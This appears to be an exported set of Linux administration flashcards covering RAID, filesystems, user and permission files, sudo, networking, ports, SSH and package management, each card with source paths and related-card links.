* [[LVM (Logical Volume Manager) in Linux]]
Q: What is RAID 0?
A: Striping — data is distributed across multiple disks for performance. No redundancy. If one disk fails, all data is lost. Read/write speed scales with the number of disks.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[RAID levels: 0, 1, 5, 6, and 10 explained]]
* [[What is RAID 1?]]
* [[What is RAID 10?]]
Q: What is RAID 1?
A: Mirroring — data is duplicated on two or more disks. Provides redundancy (survives disk failure) but usable capacity is only half. Read speed improves, write speed does not.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is RAID 0?]]
* [[What is RAID 10?]]
* [[RAID levels: 0, 1, 5, 6, and 10 explained]]
Q: What is RAID 5?
A: Distributed parity — data and parity are striped across 3+ disks. Survives one disk failure. Usable capacity = (N-1) disks. Write penalty due to parity calculation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[RAID levels: 0, 1, 5, 6, and 10 explained]]
* [[What RAID levels does Linux software RAID (mdadm) support, and when would you use each?]]
* [[What is RAID 10?]]
Q: What is RAID 6?
A: Like RAID 5 but with double distributed parity across 4+ disks. Survives two simultaneous disk failures. Usable capacity = (N-2) disks.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[RAID levels: 0, 1, 5, 6, and 10 explained]]
* [[What is RAID 10?]]
* [[How many parity levels does SnapRAID support, and what does each level provide?]]
Q: What is RAID 10?
A: A nested RAID: mirrors (RAID 1) that are then striped (RAID 0). Requires at least 4 disks. Provides both redundancy and performance. Usable capacity is 50%.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[RAID levels: 0, 1, 5, 6, and 10 explained]]
* [[What RAID levels does Linux software RAID (mdadm) support, and when would you use each?]]
* [[What is RAID 1?]]
Q: What is dm-crypt?
A: A kernel device-mapper target that provides transparent encryption of block devices. LUKS uses dm-crypt as its backend. <html><code>cryptsetup</code></html> is the userspace tool for managing LUKS volumes.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[LUKS encrypts block devices via dm-crypt with multiple key slots]]
* [[What is the Device Mapper in Linux, and which storage technologies depend on it?]]
* [[What is the difference between encryption and hashing?]]
Q: What do the mount options noexec, nosuid, and nodev mean?
A: <html><code>noexec</code></html>: prevents execution of binaries. <html><code>nosuid</code></html>: ignores setuid/setgid bits. <html><code>nodev</code></html>: ignores device files. Commonly applied to /tmp and removable media for security.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain what is setgid and setuid]]
* [[Capabilities vs setuid?]]
* [[Why are noatime and nofail essential mount options for data hoarding drives?]]
Q: What is iSCSI?
A: Internet Small Computer Systems Interface — a protocol that allows SCSI commands to be sent over TCP/IP networks, providing block-level access to remote storage. Uses initiators (clients) and targets (servers).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ICMP?]]
* [[What is `ss -i` useful for?]]
* [[What is the /proc/net/tcp file format?]]
Q: What is a loopback device?
A: A pseudo-device (<html><code>/dev/loopN</code></html>) that makes a regular file accessible as a block device. Used to mount disk images (ISOs, filesystem images): <html><code>mount -o loop image.iso /mnt</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a block device?]]
* [[The loopback (lo) interface]]
* [[What is the Device Mapper in Linux, and which storage technologies depend on it?]]
Q: What is the <html><code>tune2fs</code></html> command?
A: Adjusts tunable parameters on ext2/ext3/ext4 filesystems, such as mount count, check intervals, reserved block percentage, and enabling/disabling features like journaling.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Three journaling modes in ext3/ext4]]
* [[What is `tuned`?]]
* [[ext4 health checks use tune2fs; XFS checks can run mounted]]
Q: What is <html><code>fsck</code></html>?
A: Filesystem check — scans and repairs filesystem inconsistencies. Must be run on unmounted filesystems (or read-only mounted root in single-user mode). ext4 uses <html><code>e2fsck</code></html>; XFS uses <html><code>xfs_repair</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[ext4 health checks use tune2fs; XFS checks can run mounted]]
* [[Remounting read-only is a safe first response to filesystem errors]]
Q: What is a block device?
A: A device that provides buffered, random-access I/O in fixed-size blocks (sectors). Examples: hard drives, SSDs, partitions, LVM logical volumes. Listed with <html><code>lsblk</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between block and character devices?]]
* [[What is /sys/block/?]]
* [[What is `lsblk`?]]
Q: What is the format of /etc/passwd?
A: <html><code>username:x:UID:GID:comment:home_directory:shell</code></html>. The <html><code>x</code></html> indicates the password is in <html><code>/etc/shadow</code></html>. Seven colon-separated fields.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Ordinary users are able to read `/etc/passwd`. Is it a security hole? Do you know other…]]
* [[What is the SHELL variable?]]
* [[What is /etc/login.defs?]]
Q: What information is stored in /etc/passwd? explain each field
A: <html><code>/etc/passwd</code></html> is a configuration file, which contains users information. Each entry in this file has, 7 fields,
<html><code>username:password:UID:GID:Comment:home directory:shell</code></html>
<html><code>username</code></html> - The name of the user.
Remember: /etc/passwd=user info(world-readable). /etc/shadow=hashes(root-only).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How do you create users? Where user information is stored?]]
* [[Which file stores users passwords? Is it visible for everyone?]]
* [[Where is my password stored on Linux/Unix?]]
Q: What is the format of /etc/shadow?
A: <html><code>username:encrypted_password:last_change:min_age:max_age:warn:inactive:expire:reserved</code></html>. Nine colon-separated fields. Only readable by root.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What information is stored in /etc/passwd? explain each field]]
* [[Which file stores users passwords? Is it visible for everyone?]]
* [[Ordinary users are able to read `/etc/passwd`. Is it a security hole? Do you know other…]]
Q: What is the format of /etc/group?
A: <html><code>group_name:password:GID:member_list</code></html>. The member_list is a comma-separated list of usernames who are supplementary members of the group.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Which file stores information about groups?]]
* [[What command shows your current UID and group memberships?]]
* [[What is the format of /etc/passwd?]]
Q: What UID is reserved for root?
A: UID 0. Any account with UID 0 has full superuser privileges.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the UID the root user? What about a regular user?]]
* [[Kernel checks UID 0 for root, not the account name]]
* [[What is a superuser or root user? How is it different from regular users?]]
Q: What is the typical UID range for system accounts vs regular users?
A: System accounts: 1-999 (or 1-499 on older systems). Regular users: 1000+ (or 500+ on older systems). Defined in <html><code>/etc/login.defs</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What UID is reserved for root?]]
* [[What is /etc/login.defs used for in security?]]
* [[What is /etc/login.defs?]]
Q: How does chmod octal notation work?
A: Three octal digits represent owner, group, and others. Each digit is the sum of: read=4, write=2, execute=1. Example: <html><code>chmod 755</code></html> = rwxr-xr-x.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How does chmod symbolic notation work?]]
* [[What does chmod 755 filename do?]]
* [[What this command does? chmod +x some_file]]
Q: How does chmod symbolic notation work?
A: Format: <html><code>[ugoa][+-=][rwxXsStT]</code></html>. Examples: <html><code>chmod u+x file</code></html> adds execute for owner. <html><code>chmod go-w file</code></html> removes write for group and others. <html><code>chmod a=r file</code></html> sets read-only for all.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How does chmod octal notation work?]]
* [[What this command does? chmod +x some_file]]
* [[What does chmod 755 filename do?]]
Q: What is the setuid bit?
A: When set on an executable (octal 4000, <html><code>chmod u+s</code></html>), the process runs with the file owner's effective UID instead of the caller's. Example: <html><code>/usr/bin/passwd</code></html> runs as root to modify <html><code>/etc/shadow</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the setgid bit?]]
* [[Explain what is setgid and setuid]]
Q: What is the setgid bit?
A: Octal 2000 (<html><code>chmod g+s</code></html>). On executables: process runs with the file's group effective GID. On directories: new files inherit the directory's group rather than the creator's primary group.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the setuid bit?]]
* [[Explain what is setgid and setuid]]
* [[What this command does? chmod +x some_file]]
Q: What is the sticky bit?
A: Octal 1000 (<html><code>chmod +t</code></html>). On directories: only the file owner, directory owner, or root can delete files within. Set on <html><code>/tmp</code></html> to prevent users from deleting each other's files.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the sticky bit shown as in `ls -l`?]]
* [[How does the sticky bit work? The `SUID/GUID` is the same?]]
* [[What is the purpose of /tmp?]]
Q: How does "Sticky Bit" work on a directory?
A: The sticky bit restricts file deletion in shared directories to owners only.
How it works:
* When set on a directory (not files), only the file owner, directory owner, or root can delete/rename files within
* Other users with write permission to the directory cannot delete others' files
* Classic use case: /tmp directory
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How does the sticky bit work? The `SUID/GUID` is the same?]]
* [[The sticky bit originally prevented memory paging, now prevents deletion]]
* [[How kernel permission checks work and when to use capabilities]]
Q: What is the purpose of sticky bit?
A: Its a bit that only allows the owner or the root user to delete or modify the file.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How kernel permission checks work and when to use capabilities]]
* [[What is the sticky bit shown as in `ls -l`?]]
* [[What is the purpose of /tmp?]]
Q: What is an ACL in Linux?
A: Access Control List — extends the traditional user/group/other permission model to allow fine-grained permissions for specific users and groups on individual files. Managed with <html><code>getfacl</code></html> and <html><code>setfacl</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Four Linux access-control systems]]
* [[How do you set a default ACL on a directory?]]
* [[ACL debugging: overrides and masks silently restrict access]]
Q: Explain Access Control Lists (ACLs) with getfacl and setfacl
A: ACLs extend traditional Unix permissions (owner/group/other) with fine-grained per-user and per-group rules.
! View ACLs:
getfacl /path/to/file
! Grant user read access:
setfacl -m u:alice:r /path/to/file
! Grant group write access:
setfacl -m g:devs:rw /path/to/file
! Set default ACL for new files in directory:
setfacl -d -m u:alice:rw /path/to/dir/
! Remove specific ACL:
setfacl -x u:alice /path/to/file
! Remove all ACLs:
setfacl -b /path/to/file
The + in ls -l output (drwxr-xr-x+) indicates ACLs present. Filesystem must be mounted with acl option. Effective permissions = ACL mask AND granted permissions.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-recovery.tsv</code></html>
''Related atoms''
* [[How do you set a default ACL on a directory?]]
* [[ACL debugging: overrides and masks silently restrict access]]
* [[Explain what are ACLs. For what use cases would you recommend to use them?]]
Q: How do you set a default ACL on a directory?
A: <html><code>setfacl -d -m u:alice:rwx /shared/</code></html> — the <html><code>-d</code></html> flag sets a default ACL that new files and subdirectories inherit.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain Access Control Lists (ACLs) with getfacl and setfacl]]
* [[What is an ACL in Linux?]]
* [[ACL debugging: overrides and masks silently restrict access]]
Q: What is PAM?
A: Pluggable Authentication Modules — a framework that separates authentication logic from applications. Configuration files in <html><code>/etc/pam.d/</code></html> define stacks of modules (auth, account, password, session) for each service.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Common PAM modules for authentication, policy, and hardening]]
* [[What is `pam_tally2` / `pam_faillock`?]]
* [[What is `pam_limits`?]]
Q: What is the correct way to edit the sudoers file?
A: Always use <html><code>visudo</code></html>, which validates syntax before saving. Editing <html><code>/etc/sudoers</code></html> directly risks syntax errors that can lock you out of sudo.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Emergency recovery from sudoers syntax errors and prevention]]
* [[What is sudo? How do you set it up?]]
* [[What does the sudo command do?]]
Q: What is the basic sudoers syntax?
A: <html><code>user HOST=(RUNAS) COMMANDS</code></html>. Example: <html><code>alice ALL=(ALL) ALL</code></html> allows alice to run any command as any user on any host. <html><code>%wheel ALL=(ALL) ALL</code></html> allows the wheel group.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does "sudo" stand for?]]
* [[What is NOPASSWD in sudoers?]]
* [[sudoers syntax: policies, patterns, and visudo safety]]
Q: What is NOPASSWD in sudoers?
A: <html><code>alice ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx</code></html> allows alice to run that specific command via sudo without entering a password.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the basic sudoers syntax?]]
* [[sudoers syntax: policies, patterns, and visudo safety]]
* [[What does "sudo" stand for?]]
Q: What is the difference between RUID, EUID, and SUID?
A: RUID (Real UID): the actual user who started the process. EUID (Effective UID): the UID used for permission checks (can differ from RUID via setuid). SUID (Saved UID): saves the previous EUID so the process can switch back.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the setuid bit?]]
Q: What command shows your current UID and group memberships?
A: <html><code>id</code></html> — shows UID, GID, and all supplementary groups for the current user or specified username.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the format of /etc/group?]]
* [[How is a user’s default group determined? How would you change it?]]
* [[What UID is reserved for root?]]
Q: How do you lock a user account?
A: <html><code>usermod -L username</code></html> (prepends ! to the password hash in /etc/shadow) or <html><code>passwd -l username</code></html>. To also expire the account: <html><code>chage -E 0 username</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Locked account diagnosis: permission checks in order of precedence]]
* [[How do you change/set the password of a user?]]
* [[How do you create users? Where user information is stored?]]
Q: What is /etc/login.defs?
A: Configuration file defining default settings for user account creation: UID/GID ranges, password aging defaults, umask, home directory creation, and encryption method.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What information is stored in /etc/passwd? explain each field]]
* [[What is the format of /etc/passwd?]]
* [[What is the SHELL variable?]]
Q: What is /etc/login.defs used for in security?
A: Defines password aging policies (PASS_MAX_DAYS, PASS_MIN_DAYS, PASS_MIN_LEN, PASS_WARN_AGE), UID/GID allocation ranges, and default umask for new users.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Password aging, complexity, and credential lifecycle policies]]
* [[What information is stored in /etc/passwd? explain each field]]
* [[What is the format of /etc/passwd?]]
Q: What is the <html><code>newgrp</code></html> command?
A: Temporarily changes the user's primary group for the current shell session. Useful for creating files with a different group ownership.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain what each of the following commands does:]]
* [[What the following commands do?]]
Q: What are the 7 layers of the OSI model?
A: From bottom to top: Physical (1), Data Link (2), Network (3), Transport (4), Session (5), Presentation (6), Application (7). Mnemonic: "Please Do Not Throw Sausage Pizza Away."
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the layers of the TCP/IP model?]]
Q: What are the layers of the TCP/IP model?
A: Four layers: Network Access/Link (1), Internet/Network (2), Transport (3), Application (4). It maps to OSI as: Layers 1-2 → Link, Layer 3 → Internet, Layer 4 → Transport, Layers 5-7 → Application.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the 7 layers of the OSI model?]]
Q: Describe the TCP three-way handshake.
A: Client sends SYN (seq=x). Server responds with SYN-ACK (seq=y, ack=x+1). Client sends ACK (seq=x+1, ack=y+1). Connection is now ESTABLISHED.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the common TCP socket states?]]
* [[What is the TCP TIME_WAIT state?]]
Q: What is the TCP TIME_WAIT state?
A: After sending the final ACK in connection teardown, the initiating side enters TIME_WAIT for 2×MSL (typically 60 seconds). This ensures late duplicate packets are handled and the remote end can retransmit its FIN if the ACK was lost.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between TCP CLOSE_WAIT and TIME_WAIT?]]
* [[What does `sysctl net.ipv4.tcp_fin_timeout` control?]]
Q: What are the common TCP socket states?
A: LISTEN, SYN_SENT, SYN_RECV, ESTABLISHED, FIN_WAIT1, FIN_WAIT2, CLOSE_WAIT, TIME_WAIT, LAST_ACK, CLOSING, CLOSED.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Describe the TCP three-way handshake.]]
Q: Why is the <html><code>ip</code></html> command preferred over <html><code>ifconfig</code></html>?
A: <html><code>ifconfig</code></html>, <html><code>route</code></html>, <html><code>netstat</code></html>, and <html><code>arp</code></html> are from the deprecated net-tools package. The <html><code>ip</code></html> command (from iproute2) supports newer features like network namespaces, multiple routing tables, and policy routing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[ip command: modern Linux network configuration (iproute2)]]
* [[The iproute2 toolkit is the modern replacement for deprecated net-tools]]
Q: What replaces <html><code>ifconfig</code></html> in the ip command suite?
A: <html><code>ip addr show</code></html> (or <html><code>ip a</code></html>) replaces <html><code>ifconfig</code></html>. <html><code>ip route</code></html> replaces <html><code>route</code></html>. <html><code>ip neigh</code></html> replaces <html><code>arp</code></html>. <html><code>ip link</code></html> replaces <html><code>ifconfig</code></html> for interface state management.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[ip command: modern Linux network configuration (iproute2)]]
* [[What are the following commands used for: ip addr, ip route, ip link?]]
Q: What are the iptables tables and their purposes?
A: <html><code>filter</code></html> (default): packet filtering (INPUT, FORWARD, OUTPUT). <html><code>nat</code></html>: network address translation (PREROUTING, OUTPUT, POSTROUTING). <html><code>mangle</code></html>: packet alteration. <html><code>raw</code></html>: exemption from connection tracking. <html><code>security</code></html>: SELinux MAC rules.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[The Linux firewall stack: netfilter kernel framework and userspace tools]]
Q: What are the iptables chains in the filter table?
A: INPUT (packets destined for the local host), FORWARD (packets routed through the host), OUTPUT (packets generated by the local host).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between iptables INPUT and FORWARD chains?]]
Q: What is the DNS resolution order on Linux?
A: Controlled by <html><code>/etc/nsswitch.conf</code></html> (the <html><code>hosts:</code></html> line). Typically: <html><code>files dns</code></html> meaning check <html><code>/etc/hosts</code></html> first, then DNS resolvers listed in <html><code>/etc/resolv.conf</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the file /etc/resolv.conf used for? What does it contain?]]
Q: What is the most common bonding mode in production?
A: Mode 4 (802.3ad / LACP) — requires switch support. Mode 1 (active-backup) is used when switch configuration isn't possible.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux bonding mode selection: active-backup for simplicity, 802.3ad/LACP for aggregate throughput]]
* [[Linux bonding driver offers seven modes; only mode 4 is LACP]]
* [[Linux network bonding modes]]
Q: What is a network bridge?
A: A software device that connects two or more network segments at Layer 2 (data link). Commonly used in virtualization to connect VMs to the physical network.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `bridge` command?]]
* [[Linux bridge: Layer 2 virtual switch for network segments]]
Q: What is a VLAN?
A: Virtual LAN — a Layer 2 network segmentation technique using 802.1Q tagging. In Linux, created with <html><code>ip link add link eth0 name eth0.100 type vlan id 100</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ipvlan?]]
* [[What is macvlan?]]
Q: What are the key <html><code>ss</code></html> flags?
A: <html><code>-t</code></html> TCP, <html><code>-u</code></html> UDP, <html><code>-l</code></html> listening, <html><code>-n</code></html> numeric (no DNS resolution), <html><code>-p</code></html> show process, <html><code>-a</code></html> all sockets, <html><code>-s</code></html> summary statistics, <html><code>-4</code></html>/<html><code>-6</code></html> IPv4/IPv6 only.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `ss -s` command useful for?]]
* [[What is the difference between `ss` and `netstat`?]]
Q: What is SSH key-based authentication?
A: The user generates a key pair (public/private). The public key is placed in <html><code>~/.ssh/authorized_keys</code></html> on the server. During login, the client proves possession of the private key via a challenge-response protocol without transmitting the key.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does "SSH" stand for?]]
* [[What ssh-keygen is used for?]]
* [[SSH key permissions are non-negotiable and security-critical]]
Q: What is SSH agent forwarding?
A: Allows using local SSH keys on remote servers without copying private keys. The remote server forwards key operations back to the local ssh-agent. Enabled with <html><code>ssh -A</code></html> or <html><code>ForwardAgent yes</code></html>. Use cautiously — a compromised remote host can use your agent.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SSH tunneling (port forwarding)?]]
Q: What is SSH ProxyJump?
A: A feature (<html><code>ssh -J jump_host target_host</code></html> or <html><code>ProxyJump</code></html> in ssh_config) that connects to a target through an intermediate bastion/jump host without needing a shell on the jump host.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SSH tunneling (port forwarding)?]]
Q: What is SSH tunneling (port forwarding)?
A: Local forwarding (<html><code>-L</code></html>): forwards a local port to a remote destination through the SSH connection. Remote forwarding (<html><code>-R</code></html>): forwards a remote port back to a local destination. Dynamic forwarding (<html><code>-D</code></html>): creates a SOCKS proxy.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SSH port forwarding?]]
* [[What is SSH ProxyJump?]]
* [[What is SSH agent forwarding?]]
Q: What is the well-known port for SSH?
A: 22/tcp.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SSH? How to check if a Linux server is running SSH?]]
* [[What does "SSH" stand for?]]
Q: What is port 25 used for?
A: SMTP (Simple Mail Transfer Protocol) — email delivery between mail servers.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is port 53 used for?]]
Q: What is port 53 used for?
A: DNS (Domain Name System) — uses both TCP and UDP. UDP for queries under 512 bytes; TCP for zone transfers and large responses.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is port 80 used for?
A: HTTP (Hypertext Transfer Protocol) — unencrypted web traffic.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is port 443 used for?]]
* [[What is port 53 used for?]]
* [[What is port 123 used for?]]
Q: What is port 443 used for?
A: HTTPS (HTTP Secure) — TLS-encrypted web traffic.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is port 80 used for?]]
* [[What is port 8080 commonly used for?]]
Q: What are ports 3306, 5432, and 6379?
A: 3306 = MySQL/MariaDB, 5432 = PostgreSQL, 6379 = Redis.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are well-known ports 110, 143, 993, and 995?]]
Q: What is port 8080 commonly used for?
A: An alternative HTTP port, often used for web application servers, proxies, and development servers to avoid requiring root for binding to port 80.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is port 443 used for?]]
* [[What is port 25 used for?]]
* [[What is port 123 used for?]]
Q: What is the ephemeral port range in Linux?
A: 32768-60999 by default, configurable via <html><code>/proc/sys/net/ipv4/ip_local_port_range</code></html>. Used for outbound connections.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the maximum number of TCP connections a Linux server can handle?]]
* [[What is CAP_NET_BIND_SERVICE?]]
Q: What is the MTU?
A: Maximum Transmission Unit — the largest packet size that can be sent on a network link without fragmentation. Default is 1500 bytes for Ethernet. Jumbo frames use 9000 bytes.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What command shows the routing table?
A: <html><code>ip route show</code></html> (or <html><code>ip r</code></html>). The <html><code>route -n</code></html> command is deprecated but still commonly used.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the following commands used for: ip addr, ip route, ip link?]]
* [[ip command: modern Linux network configuration (iproute2)]]
Q: What is ARP?
A: Address Resolution Protocol — maps IPv4 addresses to MAC addresses on a local network. View the ARP cache with <html><code>ip neigh show</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `arp -a` replaced by?]]
* [[What is the `arping` command?]]
* [[What is proxy ARP?]]
Q: What is the difference between dpkg and apt?
A: <html><code>dpkg</code></html> is the low-level tool that installs/removes <html><code>.deb</code></html> files without resolving dependencies. <html><code>apt</code></html> is the high-level tool that resolves dependencies, downloads from repositories, and calls dpkg.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux package management: RPM and DEB ecosystems]]
Q: What is the difference between rpm, yum, and dnf?
A: <html><code>rpm</code></html> is the low-level package installer (no dependency resolution). <html><code>yum</code></html> (Yellowdog Updater Modified) is the traditional high-level resolver. <html><code>dnf</code></html> (Dandified YUM) replaced yum in Fedora 22+ and RHEL 9 with better dependency resolution (libsolv) and performance.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is DNF and what is it used for in Linux package management?]]
* [[Package manager dependency resolution strategies differ between apt and dnf]]
Q: How do you list all installed packages on Debian/Ubuntu?
A: <html><code>dpkg -l</code></html> or <html><code>apt list --installed</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you list the content of a package without actually installing it?]]
* [[How do you list all installed packages on RHEL/Fedora?]]
* [[How do you find which package provides a file on Debian?]]
Q: How do you list all installed packages on RHEL/Fedora?
A: <html><code>rpm -qa</code></html> or <html><code>dnf list installed</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you list all installed packages on Debian/Ubuntu?]]
* [[Find which package owns a file on Linux]]
* [[How do you list the content of a package without actually installing it?]]
Q: How do you find which package provides a file on Debian?
A: <html><code>dpkg -S /path/to/file</code></html> for installed packages. <html><code>apt-file search /path/to/file</code></html> for all available packages (requires apt-file).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you list all installed packages on Debian/Ubuntu?]]
* [[Find which package owns a file on Linux]]
* [[How do you list the content of a package without actually installing it?]]
Q: Where are apt repository definitions stored?
A: <html><code>/etc/apt/sources.list</code></html> and files in <html><code>/etc/apt/sources.list.d/</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Where are repositories stored (based on the distribution)?]]
Q: Where are yum/dnf repository definitions stored?
A: <html><code>/etc/yum.repos.d/*.repo</code></html> files.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Where are repositories stored (based on the distribution)?]]
* [[What is the difference between rpm, yum, and dnf?]]
* [[What is DNF and what is it used for in Linux package management?]]
Q: How does GPG key verification work for packages?
A: Repositories sign packages with GPG keys. The package manager verifies signatures against trusted keys. On RHEL: <html><code>rpm --import <key-url></code></html>. On Debian: <html><code>apt-key add <key></code></html> (deprecated) or keys in <html><code>/etc/apt/trusted.gpg.d/</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is the difference between snap, flatpak, and AppImage?
A: Snap (Canonical): sandboxed, auto-updating, uses squashfs, centralized Snap Store. Flatpak (Red Hat/Freedesktop): sandboxed via bubblewrap, Flathub as main repo, desktop-focused. AppImage: single-file portable executables, no installation, no sandboxing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
